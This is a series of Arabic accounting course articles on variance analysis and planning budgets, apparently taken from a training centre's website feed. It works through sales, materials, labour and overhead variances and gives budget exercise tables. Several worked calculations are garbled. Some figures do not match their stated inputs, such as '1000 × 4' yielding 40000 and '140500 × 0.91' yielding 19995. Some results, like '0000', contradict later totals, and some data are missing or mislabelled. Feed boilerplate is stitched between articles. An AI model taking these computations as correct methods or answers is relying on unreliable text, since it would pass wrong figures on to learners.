
انحراف المبيعات المختلط = التغير فى الكمية × التغير فى السعر

= ( كمية فعلية – كمية تقديرية ) × ( سعر فعلى – سعر تقديري )

ولتوضيح كيفية تحليل انحرافات المبيعات ، فترض أن المشروع قد توقع بين 10000 وحدة من المنتج خلال الفترة القادمة بسعر 4 كنية للوحدة وقد تبين للمشروع أن الوحدات المباعة فعلا خلال نفس الفترة قد بلغ عددها 15000 وحدة تم بيعها بمتوسط سعر بيع 4.2 جنيه للوحدة

وباستخدام البيانات السابقة ، فان انحراف قيمة المبيعات يحدد كما يلي :

= قيمة المبيعات الفعلية – قيمة المبيعات التقديرية

= (كمية فعلية × سعر فعلى ) – ( كمية تقديرية × سعر تقديري )

= 15000 ×4.2 ) – (1000 ×4)

= 63000 – 40000

= 23000 جنيه ( فى صالح المشروع )

ويحلل انحراف قيمة المبيعات إلى الانحرافات الفرعية كما يلي :

انحراف كمية المبيعات = سعر تقديري ×( كمية فعلية – كمية تقديرية )

= 4 × ( 15000-10000)

=4 × 4000

= 20000 جنيه ( فى صالح المشروع )

 

انحراف سعر البيع = كمية تقديرية × ( سعر فعلى – سعر تقديري )

= 10000 × ( 4.2 -4)

= 10000-0.2

=0000 جنيه ( فى صالح المشروع )

انحراف المبيعات المختلط – التغير فى الكمية × التغير فى السعر

= (كمية فعلية – كمية تقديري )  × ( سعر فعلى – سعر تقديري )

= (15000 -10000 × (4.2-4)

=5000×0.2

= 1000 جنيه ( فى صالح المشروع

والتأكد من صحة التحليل السابق تجري الخطوة التالية :

انحراف كمية المبيعات                                 20000

انحراف سعر البيع                                     2000

انحراف المبيعات المختلط                              1000 .

انحراف قيمة المبيعات ( فى صالح المشروع)          23000

ولما كان الهدف من تحليل  انحرافات المبيعات هو فصل مسئولية التغير فى الكمية المباعة عن مسئولية التغير فى سعر البيع  ، فان كثيرا من الباحثين يؤيد ضم انحراف المبيعات المختلط على انحراف سعر البيع بحيث يحلل انحراف قيمة المبيعات إلى انحرافين فرعيين فقط هما :

1- انحراف كمية المبيعات

2- انحراف سعر البيع

 

 

 

وبالتطبيق على المثال السابق  تحدد الانحرافات  الفرعية كما يلي :

انحراف كمية المبيعات  = سعر تقديري × ( كمية فعلية – كمية تقديرية)

=4 × (15000 -10000)

=4 ×5000

= 20000 جنيه ( فى صالح المشروع

انحراف سعر البيع = كمية فعلية × ( سعر فعلى – سعر تقديري )

= 15000 × (4.2 -4)

= 3000 جنيه ( فى صالح المشروع )

للتأكد من  صحة التحليل  السابق تجري الخطوة التالية

انحراف قيمة المبيعات = انحراف كمية المبيعات + انحراف سعر البيع

23000= 20000+3000

ثانيا – تحليل انحرافات تكلفة المواد

وبالنسبة لعنصر المواد  فان انحراف تكلفة المواد عبارة عن الفرق بين  تكلفة المواد الفعلية وتكلفة المواد  التقديرية ، ويشمل انحراف تكلفة المواد المباشرة على نوعين من الانحرافات هما :

1- انحراف كمية المواد : وهو عبارة عن الفرق بين

أ- كمية المواد المستخدمة فى الإنتاج مضروبة في معدل السعر التقديري

ب- كمية المواد التقديرية لنفس مستوي الإنتاج مضروبة في معدل السعر  التقديري .

أي أن انحراف المواد = معدل السعر التقديري × ( الكمية الفعلية – الكمية التقديرية )

2- انحراف سعر المواد  وهو عبارة عن الفرق بين

(ا) كمية المواد المستخدمة فى الإنتاج مضروبة في معدل  السعر الفعلى

(ب) كمية المواد المستخدمة فى الإنتاج مضروبة في معدل السعر التقديري:

 أي أن انحراف سعر المواد =  الكمية الفعلية ×( السعر الفعلى – معدل السعر التقديري )

فإذا افترضنا انه لإنتاج 5000وحدة  من المنتج النهائي يلزم استخدام 10000 وحدة من المادة الخام (س) وإذا فرض أن معدل العسر التقديري للوحدة من المادة الخام يبلغ 20 قرشا ، وإذا علمت أن المنشأة قامت بشراء واستخدام 10500 وحدة ، وبلغ معدل السعر الفعلى 19 قرشا للوحدة ، فيتم تحديد انحراف تكلفة المواد (س) كما يلي :-

انحراف تكلفة المادة (س) = تكلفة المواد الفعلية – تكلفة المواد التقديرية

= ( الكمية الفعلية × السعر الفعلى )- ( الكمية التقديرية× السعر التقديري)

= ( 140500 ×0.91 )- ( 10000 ×0.20 )

= 19995-2000 = -5 جنيه

ويعتبر انحراف تكلفة المادة (س) انحرافا دائنا فى صالح المنشأة حيث أن تكلفة المادة الفعلية اقل من تكلفة المادة التقديرية وبتحليل انحراف تكلفة المادة (س) يتضح أنه ينقسم إلى الانحرافين الفرعيين بالتاليين

(أ) انحراف كمية المادة (س) = معدل العسر التقديري × ( الكمية الفعلية – الكمية التقديرية )

= 0.200 × ( 10500-10000)

=0.200×500

=100 جنيه

ويعتبر انحراف كمية المادة (س) فى غير صالح المنشأة حيث أن الكمية المستخدمة أكبر من الكمية التقديرية لمستوي الإنتاج الفعلى

(ب) انحراف سعر المادة (س) = الكمية الفعلية × ( معدل السعر الفعلى – معدل السعر التقديري )

=10500×( 0.190 -0.20)

= 10500 ×-0.10

=-105 جنيه

ويعتبر انحراف سعر المادة (س) فى صالح المنشأة حيث أن معدل السعر الفعلى اقل من معدل العسر التقديري

ثالثا : تحليل انحراف تكلفة العمالة :

وبالنسبة لعنصر الأجور فان انحراف تكلفة العمل عبارة عن الرق بين تكلفة العمل الفعلية وتكلفته التقديرية ، ويشتمل انحراف تكلفة العمل المباشر على نوعين من الانحرافات وهما

1- انحراف وقت العمل    وهو عبارة عن الفرق بين

(أ) عدد الساعات الفعلية المستخدمة فى الإنتاج مضربة في معدل الأجر التقديري

(ب) عدد الساعات التقديرية لنفس مستوي الإنتاج مضوربة في معدل الأجر التقديري

أي أن انحراف وقت العمل = معدل الأجر التقديري × ( عدد الساعات الفعلية – عدد الساعات التقديري )

2- انحراف معدل اجر العمل وهو عبارة عن الفرق بين

(أ) الساعات الفعلية المستخدمة فى الإنتاج مضروبة في معدل الأجر الفعلى

(ب) الساعات الفعلية مضروبة فى معدل الأجر التقديري

أي أن انحراف معدل اجر العمل = الساعات الفعلية ×( معدل الأجر الفعلى – معدل الأجر التقديري )

فإذا افترضنا أن القيام بإنتاج 5000 وحدة من المنتج النهائي يلزم استخدام 2500 ساعة عمل مباشر ، وإذا فرض أن معدل الأجر  التقديري في الساعة 20 قرشا ، وإذا علم أن عدد الساعات الفعلية التي استخدمت في إتمام الإنتاج المطلوب قد بلغ21 قرشا ، فيتم تحديد انحراف تكلفة العلم كما يلي :-

انحراف تكلفة العمل = تكلفة العمل الفعلية – تكلفة العمل التقديري

= ( الساعات الفعلية × معدل الأجر الفعلى )

الساعات التقديرية × معدل الأجر التقديري )

= (2400 × 0.120 ) – ( 2500 × 0.20 )

=504-500

= 4  جنيه

ويعتبر انحراف تكلفة العمل انحرافا مدينا فى غير صالح المنشأة حيث أن تكلفة العمل الفعلية اكبر من تكلفة العمل التقديرية وبتحليل انحراف تكلفة  العمل يتضح انه ينقسم إلى الانحرافين الفرعين التاليين

(أ) انحراف وقت العمل = معدل الأجر التقديري × ( الساعات الفعلية – الساعات التقديرية )

= 0.200 × (2400 – 2500 )

= -20 جنيه

ويعتبر انحراف وقت العمل فى صالح المنشأة حيث أن عدد الساعات الفعلية اقل من عدد الساعات التقديرية لمستوي الإنتاج الفعلى

(ب) انحراف معدل اجر العمل = الساعات الفعلية × ( معدل الأجر الفعلى – معدل الأجر التقديري )

= 2400 × (0.012 – 0.200)

= 2400 × 0.10

=24 جنيه

ويعتبر انحراف معدل اجر العامل فى غير صالح المنشاة حيث أن معدل الأجر الفعلى اكبر من معدل الأجر التقديري

رابعا – تحليل انحرافات التكاليف الصناعية

       بعد تحديد إجمالى التكاليف الصناعية غر المباشرة الفعلية لكل مركز  إنتاج ، تقارن التكاليف الفعلية بالأعباء  الصناعية المحملة للإنتاج نظير خدمات المركز المؤادة له ، وتبين هذه المقارنة مدي الدقة فى تقدير بنود التكاليف الصناعية  وفى سلامة اختيار الأسس المستخدمة في حساب معدلات التحميل التقديرية

ويعتبر الفرق بين  التكاليف الفعلية والأعباء الصناعية المحملة للإنتاج انحرافا ففي حالة زيادة التكاليف الفعلية على الأعباء المحملة فان الفرق يكون عبارة عن تكاليف صناعية غير مستوعبة ( غير محملة ) أي أن أوامر الإنتاج لم تستوعب كل التكاليف الصناعية غير المباشرة الفعلية نظرا لان المعدل المستخدم اقل مما يجب عند مستوي التشغيل الفعلى ، أما فى حالة زيادة الأعباء المحملة على التكاليف الفعلية فان الفرق يكون  عبارة عن تكاليف صناعية مستوعبة ( محملة ) بأكبر من اللازم نظرا لان المعدل المستخدم اكبر من المعدل الواجب استخدامه عند مستوي التشغيل الفعلى

ومن الضروري أن يحلل الانحراف الإجمالى ( تكاليف صناعية غير مستوعبة أو مستوعبة بأكثر من اللازم ) لتتعرف الإدارة على بعض البيانات التي تساعدها في الحكم على مستوي  كفاية التشغيل وفى الرقابة على عنصر التكاليف الصناعية غير المباشرة ، وبتحليل الانحراف الإجمالى يتضح انه ينقسم إلى نوعين من الانحرافات الفرعية هما :

1- انحراف الإنفاق

2- انحراف الطاقة أو انحراف حجم الإنتاج

وينتج انحراف الإنفاق بسبب اختلاف التكاليف الصناعية غير المباشرة  الفعلية عن التكاليف الصناعية التقديرية لنفس مستوي التشغيل الفعلى ففي  حالة التكاليف الفعلية عن التكاليف التقديرية ، فان انحراف الإنفاق يعبر عن وفورات تحققت خلال الفترة المنقضية وعلى المنشأة أن تعمل على تنمية هذه الوفورات أما في حالة زيادة التكاليف الفعلية على التقديرية ، فان انحراف الإنفاق يعبر عن وجود إسراف في غير صالح المنشأة وعليها أن تعمل على دراسة أسبابه لكي تعمل على تفادي حدوثه فى المستقبل .

وينتج انحراف الطاقة ( انحراف حجم الإنتاج ) بسبب اختلاف مستوي التشغيل الفعلى عن مستوي التشغيل التقديري ، ويعبر انحراف الطاقة عن الفرق بين التكاليف الصناعية  التقديرية عند مستوي  التشغيل الفعلى والأعباء المحملة للإنتاج ، ويعتبر حجم الإنتاج أو مستوي النشاط هو العالم المتغير المرتبط بالطاقة الذى يعبر عن مدي استخدامها أحسن تعبير ، بمعنى أن حسن استخدام الطاقة المتاحة للوحدة الإنتاجية يؤدي إلى  زيادة حجم الإنتاج أو مستوي النشاط والعكس صحيح.

 

 

ولتوضيح كيفية تحليل انحرافات التكاليف الصناعية، نفترض البيانات التقديرية التالية :

3000 ساعة تشغيل

300 ج تكاليف متغيرة

1500 ج  تكاليف ثابتة

وبافتراض أن معدل تحميل التكاليف التقديرية بحسب على أساس ساعات التشغيل فانه يحسب بقسمة التكاليف التقديرية على عدد ساعات التشغيل التقديرية كما يلي :

معدل تحميل  التكاليف التقديرية = 4500 ÷ 3000

=1.500 جنة / ساعة

يتضمن هذا المعدل فرعين احديهما للتكاليف الثابتة والأخر للتكاليف المتغيرة كما يلي :

معدل تحميل التكاليف الثابتة = 1500 ÷ 3000

= 0.500  جنيه / ساعة

معدل تحميل التكاليف المتغيرة = 3000÷ 3000

= 1.000 جنيه / ساعة

وإذا تبين أن ساعات التشغيل المستخدمة فى الإنتاج قد بلغت  ساعة يمكن تحديد الأعباء الصناعية المحملة للإنتاج كما يلي :

 ساعات تشغيل فعلية × معدل تحميل التكاليف التقديرية

=  ×

= 4200جنيه

 

 

 

وبافتراض أن التكاليف الصناعية الفعلية قد بلغت

يمكن تحديد انحراف التكاليف الصناعية كما يلي

تكاليف صناعية فعلية                                  4760

تكاليف صناعية محملة                                         4200

                                                       ــــ

تكاليف صناعية مستوعبة                               560

ويحلل هذا الانحراف الاجمالى إلى الانحرافات الفرعية التالية :”

انحراف الإنفاق ( بالجنية ):

تكاليف صناعية فعلية                          4760

تكاليف صناعية تقديرية لمستوي التشغيل الفعلى

متغيرة (2800 ×1)            2800

ثابتة                            1500        

                                                4300

فى غير صالح المنشأة                          460

انحراف الطاقة ( بالجنية ):

تكاليف صناعية تقديرية لمستوي التشغيل الفعلى 4300

أعباء صناعية محملة                           4200

فى غير صالح المنشأة                          100

ويعتبر انحراف الإنفاق في غير صالح المنشأة نظرا لزيادة الإنفاق  الفعلى  عن الإنفاق التقديري لنفس مستوي التشغيل الفعلى ، كما أن انحراف الطاقة يعتبر أيضا في غير صالح المنشأة نظرا لأنها استخدمت معدل تحميل  تقديري يبلغ 1.500 جنيه فى الساعة علما بأنه كان من الواجب استخدام معدل تقديري 1.536 جنيه فى الساعة  وينتج ذلك المعدل بقسمة4300 جنيه على2800 ساعة وعلى ذلك فانه بضرب الفرق بين المعدلين ويبلغ0.36 جنيه فى الساعة فى عدد الساعات الفعلية وقدرها 2800 ساعة ينتج انحراف الطاقة وبطريقة أخري يمكن حساب انحراف الطاقة بضرب معدل تحميل التكاليف الثابتة ( 0.500 جنيه فى الساعة ) فى الفرق بين ساعات التشغيل التقديرية ( 3000 ساعة ) وساعات التشغيل الفعلية (2800 ساعة )

***

انتهت بحمد الله المقالة الثالثة لمسار كيم التعليمي للموازنات التخطيطية

بقلم أ. د/ سيف الإسلام

أستاذ المحاسبة والمراجعة – كلية التجارة – جامعة القاهرة

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات-الموازنات التخطيطية- بقلم أ. د/ سيف الإسلام- المقالة الثالثة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/planning_budgets-3/feed/ 0 سلسلة مقالات -الموازنات التخطيطية- بقلم أ. د/ سيف الإسلام- المقالة الثانية https://cameknowledge.camecenter.com/articles/planning_budgets-2/ https://cameknowledge.camecenter.com/articles/planning_budgets-2/#respond Sat, 15 Apr 2023 14:26:35 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10505 سلسلة مقالات – الموازنات التخطيطية بقلم أ . د/ سيف الإسلام المقالة الثانية موازنة المواد المباشرة The Direct Material Budgets ويقصد بها تحديد عدد الوحدات الواجب شراؤها لمقابلة احتياجات الإنتاج وسيتوقف حجم المشتريات هنا على احتياجات الإنتاج المتوقعة زائد مستويات المخزون.   ويتم حساب هذه الاحتياجات من المعادلة التالية ××× احتياجات موازنة الإنتاج (+) ×× […]

The post سلسلة مقالات -الموازنات التخطيطية- بقلم أ. د/ سيف الإسلام- المقالة الثانية appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – الموازنات التخطيطية

بقلم أ . د/ سيف الإسلام

المقالة الثانية

موازنة المواد المباشرة

The Direct Material Budgets

  • ويقصد بها تحديد عدد الوحدات الواجب شراؤها لمقابلة احتياجات الإنتاج وسيتوقف حجم المشتريات هنا على احتياجات الإنتاج المتوقعة زائد مستويات المخزون.

 

  • ويتم حساب هذه الاحتياجات من المعادلة التالية
××× احتياجات موازنة الإنتاج
(+) ×× المخزون المرغوب فيه في نهاية الفترة
——
××× الإجمالي
(-) ×× المخزون في بداية الفترة
——
××× عدد الوحدات المطلوب شراؤها

 

تمرين :

المطلوب إعداد موازنة المشتريات من المواد المباشرة لشركتك في ضوء المعلومات التالية:

  • عدد وحدات المواد المباشرة المطلوبة لإنتاج وحدة واحدة من المنتج هو 3 وحدات.
  • مخزون نهاية الفترة لكل ربع سنة يساوي 10% من احتياجات الإنتاج للربع التالي مضروباً في 3 (عدد الوحدات المطلوبة للوحدة).
  • مخزون نهاية الفترة للربع الرابع تم حسابه برقم تقديري 250 وحدة.
  • سعر شراء الوحدة من المواد 2 جم.
  • مخزون أول الفترة للربع الأول 237 وحدة.

 

إرشادات الحل:

استكمل الجدول التالي

بيـــان الخطط الربع سنوية إجمالي السنة
الربع الأول الربع الثاني الربع الثالث الربع الرابع
عدد الوحدات المطلوب إنتاجها 790 720 890 820 30220
عدد الوحدات من المواد المباشرة المطلوبة لإنتاج وحدة واحدة × 00 × 00 × 000 × 000 × 000
  ——- —— —— —— ——
عدد الوحدات المطلوبة لموازنة الإنتاج 00000 00000 00000 00000 00000
(+) مخزون نهاية الفترة —– 000000 000000 250 250
  ——- —— —— —— ——
= إجمالي عدد الوحدات المطلوبة 00000 000000 00000 000000 00000
————– —– —– —– —– —–
(-) مخزون أول الفترة 237 00000 000000 000000 000000
عدد الوحدات المطلوب شراؤها 00000 00000 00000 00000 00000
سعر شراء الوحدة × 0000 × 000 × 000 × 0000 × 0000
  —– —– —– —– —–
تكلفة المشتريات          

 

 

 

 

 

 

موازنة العمالة المباشرة

The Direct Labor Budgets

 

 

  • يتم إعدادها من خلال ضرب حجم الإنتاج المتوقع لكل فترة في عدد ساعات العمل المباشر اللازمة لإنتاج وحدة واحدة.

 

  • يتم ضرب عدد ساعات العمل المطلوبة لمقابلة احتياجات الإنتاج في تكلفة الساعة الواحدة للعمل المباشر فنحصل على موازنة العمالة المباشرة:

 

تمرين :

المطلوب إعداد موازنة العمالة المباشرة لشركتك إذا علمت ما يلي:

  • عدد ساعات العمل المباشرة اللازمة لإنتاج وحدة واحدة هو 5 ساعات.
  • تكلفة الساعة من العمل المباشر 5 جم.

 

إرشادات الحل:

استكمل الجدول التالي

بيـــان الخطط الربع سنوية إجمالي السنة
الربع الأول الربع الثاني الربع الثالث الربع الرابع
عدد الوحدات المطلوب إنتاجها 790 720 890 820 30220
عدد ساعات العمل المباشر للوحدة × 0000 × 0000 × 00000 × 00000 × 0000
  ——- —— —— —— ——
إجمالي عدد ساعات العمل المباشر 00000 00000 00000 00000 00000
تكلفة الساعة الواحدة × 0000 × 0000 × 00000 × 00000 × 0000
  ——- —— —— —— ——
إجمالي تكلفة العمالة المباشرة 00000 000000 00000 000000 00000

 

موازنة مصاريف المصنع الإضافية

The Factory Overhead Budget

 

  • تشمل هذه الموازنة (موازنة المصاريف الصناعية غير المباشرة) نفقات عملية التصنيع بخلاف المواد والعمالة المباشرة. هذه النفقات تشمل إيجار المصنع. والتأمين على المصنع، والضرائب. ومنافع المصنع من نور ومياه…الخ.

 

  • وعند إعدادها يجب مراعاة ما يلي:
    • تحديد الجزء المتغير من هذه التكاليف.
    • استبعاد الإهلاك من إجمالي مصاريف المصنع الإضافية بغرض الوصول إلى حجم المصاريف النقدية المدفوعة فعلاً، فالإهلاك كما تعلم لا يمثل تدفقات نقدية خارجة.

تمرين :

المطلوب إعداد موازنة مصاريف المصنع الإضافية لشركتك في ضوء المعلومات التالية:

  • إجمالي تكاليف المصنع الإضافية المتوقعة تبلغ 6.000جم تكاليف ثابتة (كل ربع سنة) بالإضافة إلى 2 جم لكل ساعة عمل مباشرة.
  • تبلغ مصروفات الإهلاك 3.250 جم كل ربع سنة.

 

إرشادات الحل:

استكمل الجدول التالي

بيـــان الخطط الربع سنوية إجمالي السنة
الربع الأول الربع الثاني الربع الثالث الربع الرابع
عدد ساعات العمل المباشر المخططة 3.950 3.600 4.450 4.100 16.100
معدل التكاليف الإضافية المتغيرة × 0000 × 0000 × 00000 × 00000 × 0000
  ——- —— —— —— ——
التكاليف الإضافية المتغيرة المخططة 00000 00000 00000 00000 00000
التكاليف الإضافية الثابتة × 0000 × 0000 × 00000 × 00000 × 0000
  ——- —— —— —— ——
إجمالي التكاليف الإضافية 00000 000000 00000 000000 00000
(-) الإهلاك – 00000 – 0000 – 00000 – 00000 – 0000
  ——- —— —— —— ——
التكاليف الإضافية النقدية 00000 00000 00000 00000 00000

 

                                                            

 

 

موازنة المصاريف البيعية والإدارية

The Selling and  Administrative Expense  Budget

 

  • وتختص بتسجيل مصاريف البيع والمصاريف الإدارية التي تتحملها الشركة عندما تقوم ببيع منتجاتها وإدارة أعمالها.
  • يتعين عند إعدادها تحديد المصاريف البيعية والإدارية المتغيرة للوحدة الواحدة وذلك عند الرغبة في استخراج هامش المساهمة في قائمة الدخل التقديرية.

 

تمرين :

المطلوب إعداد موازنة المصاريف البيعية والإدارية لشركتك في ضوء المعلومات التالية:

  • التكلفة البيعية والإدارية المتغيرة للوحدة 4 جم (وتشمل وكلاء المبيعات، العمولات، النقل والشحن، والإمدادات)..
  • نفقات الإعلان 1.100 جم كل ربع سنة.
  • التأمين 2.800جم ويدفع في الربع الأول من السنة.
  • مرتبات ومهايا الطاقم الإداري 8.500 جم كل ربع سنة.
  • الإيجار 350جم كل ربع سنة.
  • الضرائب 1.200 جم وتدفع في الربع الثالث.

 

إرشادات الحل:

استكمل الجدول التالي

بيـــان الخطط الربع سنوية إجمالي السنة
الربع الأول الربع الثاني الربع الثالث الربع الرابع
عدد الوحدات المتوقع بيعها 800 700 900 800 3.200
التكلفة البيعية والإدارية المتغيرة للوحدة × 0000 × 0000 × 00000 × 00000 × 0000
  ——- —— —— —— ——
إجمالي التكلفة المتغيرة 00000 00000 00000 00000 00000
التكاليف البيعية والإدارية الثابتة:          
* الإعلان          
* التأمين – 00000 – 0000 – 00000 – 00000 – 0000
* المرتبات والمهايا          
* الإيجار 00000 00000 00000 00000 00000
* الضرائب 00000 00000 00000 00000 00000
  ——- —— —— —— ——
إجمالي موازنة المصاريف البيعية والإدارية 00000 00000 00000 00000 00000

 

 

 

الموازنة النقدية

The Cash  Budget

 

  • وهي قائمة تقديرية بالمقبوضات والمدفوعات النقدية خلال فترة زمنية محددة.
  • تعتبر أداة للتخطيط النقدي والرقابة على النقدية، كما أنها تساعد على رسم استراتيجيات الاستثمار… فهي توضح حجم وتوقيت حدوث العجز في النقدية حتى يمكن الاستعداد مبكراً لعلاجه، كذلك فهي تظهر حجم وتوقيت الفائض حتى نتمكن من البحث مقدماً عن قرض الاستثمار الملائمة له.
  • يتم إعدادها بالصورة التالية:
بيـــان الخطط الربع سنوية إجمالي السنة
الربع الأول الربع الثاني الربع الثالث الربع الرابع
الرصيد النقدي أول الفترة ×× ×× ×× ×× ××
(+) المقبوضات النقدية والمتحصلات          
النقدية من المبيعات الآجلة ×× ×× ×× ×× ××
  ——- —— —— —— ——
إجمالي النقدية المتاحة ××× ××× ××× ××× ×××
ناقص : المدفوعات : ——- —— —— —— ——
* المواد المباشرة × × × × ×
* العمالة المباشرة × × × × ×
* تكاليف المصنع الإضافية × × × × ×
* تكاليف البيع والإدارة × × × × ×
* مشتريات الآلات × × × × ×
* ضرائب الدخل × × × × ×
  ——- —— —— —— ——
إجمالي المدفوعات النقدية ××× ××× ××× ××× ×××
  ——- —— —— —— ——
الفائض (أو العجز) النقدي ×× ×× ×× ×× ××
التمويل :          
* الاقتراض × × × × ×
* السداد × × × × ×
* الفوائد × × × × ×
——————————– ——- —— —— —— ——
إجمالي التمويل × × × × ×
رصيد نهاية الفترة ×× ×× ×× ×× ××

 

 

تمرين :

باستخدام معلومات الموازنات السابقة… والمعلومات الإضافية المعطاة لك هنا … صور الموازنة النقدية للشركة:

  • يبلغ رصيد حسابات العملاء في نهاية العام السابق 9500جم، وسيتم تحصيلها في الربع الأول من السنة الجديدة.
  • سيتم تحصيل 70% من مبيعات كل ربع في الربع الذي تباع فيه، 28% من مبيعاته في الربع التالي له مباشرة، أما الـ 2% الباقية فلن يتم تحصيلها.
  • ترغب الشركة في الاحتفاظ بحد أدني من النقدية قدره 5.000 جم في نهاية كل ربع لمواجهة الطوارئ ويبلغ الرصيد النقدي المتاح أول السنة 10.000 جم.
  • كل المبالغ المقترضة من البنك وسدادها تتم بمقدار مضاعفات الـ500جم، وبمعدل فائدة 10% كل نصف سنة 000 ويتم حساب الفائدة ودفعها عندما يتم سداد المبلغ المقترض… ويصر البنك على أن يتم الاقتراض في بداية كل ربع سنة،والسداد في نهايته.
  • ستقوم الشركة بشراء آلات ودفع قيمتها المقدرة بمبلغ 34.300 جم في الربع الثاني.
  • ستقوم الشركة بسداد ضرائب مستحقة عليها قدرها 4.000 جم في الربع الأول من السنة.

 

إرشادات الحل:

1 – صوّر جدول المتحصلات النقدية المتوقعة التالي:

بيـــان الفترات الربع سنوية إجمالي
الأول الثاني الثالث الرابع
الرصيد النقدي أول الفترة – – – –  
(+) المقبوضات النقدية والمتحصلات     – –  
النقدية من المبيعات الآجلة –     –  
إجمالي النقدية المتاحة – –   000000 000000
  ——- —— —— —— ——
إجمالي المتحصلات النقدية 00000 00000 00000 00000 00000

 

2 – استكمل الموازنة النقدية

بيـــان الخطط الربع سنوية إجمالي السنة
الربع الأول الربع الثاني الربع الثالث الربع الرابع
الرصيد النقدي أول الفترة 10.000   00000 00000 10.000
(+) المتحصلات النقدية   00000 00000    
  ——- —— —— —— ——
(-) إجمالي النقدية المتاحة 00000 00000 00000    
  ——- —— —— —— ——
ناقص المدفوعات :          
* المواد المباشرة          
* العمالة المباشرة          
* تكاليف المصنع الإضافية   00000      
* تكاليف البيع والإدارة   00000 00000 00000  
* شراء آلات –   – –  
* سداد ضرائب   – – –  
  ——- —— —— —— ——
إجمالي المدفوعات          
  ——- —— —— —— ——
الفائض (أو العجز) النقدي          
           
التمويل :          
* الاقتراض – 00000 – –  
* السداد – –   –  
* الفوائد – –   –  
  ——- —— —— —— ——
إجمالي التمويل –     –  
  ——- —— —— —— ——
رصيد نهاية الفترة          

 

قائمة الدخل التقديرية

The Budgeted Income Statement

 

  • وهي تتلخص لنا مختلف مكونات الإيرادات والمصروفات المتوقعة عن الفترة المخطط لها … ولأغراض الرقابة يمكن تجزئتها إلى فترات ربع سنوية أو حتى أشهر على حسب الحاجة.

 

  • ويتم إعدادها بالشكل التالي:

 

المبيعات ××××
ناقص : التكاليف المتغيرة
* تكلفة البضاعة المباعة  ××
* تكلفة البيع والإدارة     ××
                         —- ×××
ناقص : التكاليف الثابتة :
* تكلفة المصنع الإضافية  ××
* تكلفة البيع والإدارة     ××
                         —- ×××
صافي دخل التشغيل ×××
: فوائد التمويل ××
صافي الدخل قبل الضرائب ×××
ناقص : ضرائب الدخل ××
صافي الدخل ×××

 

 

تمرين :                                                           

باستخدام معلومات الموازنات السابقة… من فضلك صوّر قائمة الدخل التقديرية للشركة السابقة.

إرشادات الحل:

  • احسب التكلفة المتغيرة للبضاعة المباعة كما يلي:

– المـواد المباشـرة  = 0000  000 × 000   000 = 000000 0 جم

– العمالة المباشـرة  = 000000  0  × 00000000 = 00000     جم

– التكاليف الإضافية المتغيرة = 000000 × 0   000 =               جم

2- استكمال بيانات القائمة التالية:

المبيعات (3200 وحدة × 80 جم 256000 جم
ناقص : التكاليف المتغيرة
* تكلفة البضاعة المباعة  0000
* تكلفة البيع والإدارة     
                         —-
هامش المساهمة
ناقص : التكاليف الثابتة :
* تكلفة المصنع الإضافية  00000
* تكلفة البيع والإدارة     
                         —– 000000
صافي دخل التشغيل
ناقص : الفوائد 00000
صافي الدخل قبل الضرائب
ناقص : ضرائب الدخل (30%)
صافي الدخل

***

انتهت بحمد الله المقالة الثانية لمسار كيم التعليمي للموازنات التخطيطية

بقلم أ. د/ سيف الإسلام

أستاذ المحاسبة والمراجعة – كلية التجارة – جامعة القاهرة

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات -الموازنات التخطيطية- بقلم أ. د/ سيف الإسلام- المقالة الثانية appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/planning_budgets-2/feed/ 0 سلسلة مقالات -الموازنات التخطيطية- بقلم أ. د/ سيف الإسلام- المقالة الأولى https://cameknowledge.camecenter.com/articles/planning_budgets-1/ https://cameknowledge.camecenter.com/articles/planning_budgets-1/#respond Sat, 15 Apr 2023 13:49:16 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10502 سلسلة مقالات – الموازنات التخطيطية بقلم أ . د/ سيف الإسلام المقالة الأولى الملامح الأساسية للموازنة التخطيطية أولاً : تعريفها: “هي خطة مالية تفصيلية تغطي كل نواحي النشاط في الوحدة الاقتصادية لفترة محددة مقبلة”. ثانياً: أهميتها: وسيلة هامة للاتصال بين المستويات الإدارية المتعددة، فمن خلالها يمكن توصيل أهداف وخطط الإدارة العليا إلى المستويات الدنيا في […]

The post سلسلة مقالات -الموازنات التخطيطية- بقلم أ. د/ سيف الإسلام- المقالة الأولى appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – الموازنات التخطيطية

بقلم أ . د/ سيف الإسلام

المقالة الأولى

الملامح الأساسية للموازنة التخطيطية

أولاً : تعريفها:

“هي خطة مالية تفصيلية تغطي كل نواحي النشاط في الوحدة الاقتصادية لفترة محددة مقبلة”.

ثانياً: أهميتها:

وسيلة هامة للاتصال بين المستويات الإدارية المتعددة، فمن خلالها يمكن توصيل أهداف وخطط الإدارة العليا إلى المستويات الدنيا في الخريطة التنظيمية للوحدة الاقتصادية، حيث تقوم الإدارات التنفيذية بترجمة الأهداف والسياسات التي وضعتها الإدارة العليا في صورة موازنات فرعية وذلك لقدرة الإدارات التنفيذية على إعداد هذه الموازنات نظراً لأنها تقوم بالتنفيذ الفعلي.

 

ثالثاً: أنواعها:-

هناك ثلاثة أنواع من الموازنات التخطيطية التي تعدها الوحدة الاقتصادية وهي:

1 – الموازنة العينية:

وهي توضح البرنامج الإنتاجي للوحدة الاقتصادية من خلال ربطه بطاقاتها الإنتاجية ويرجع السبب في تسميتها موازنة عينية إلى أنها تعبر عن مجموعة من العلاقات الفنية قبل ترجمتها إلى قيم نقدية.

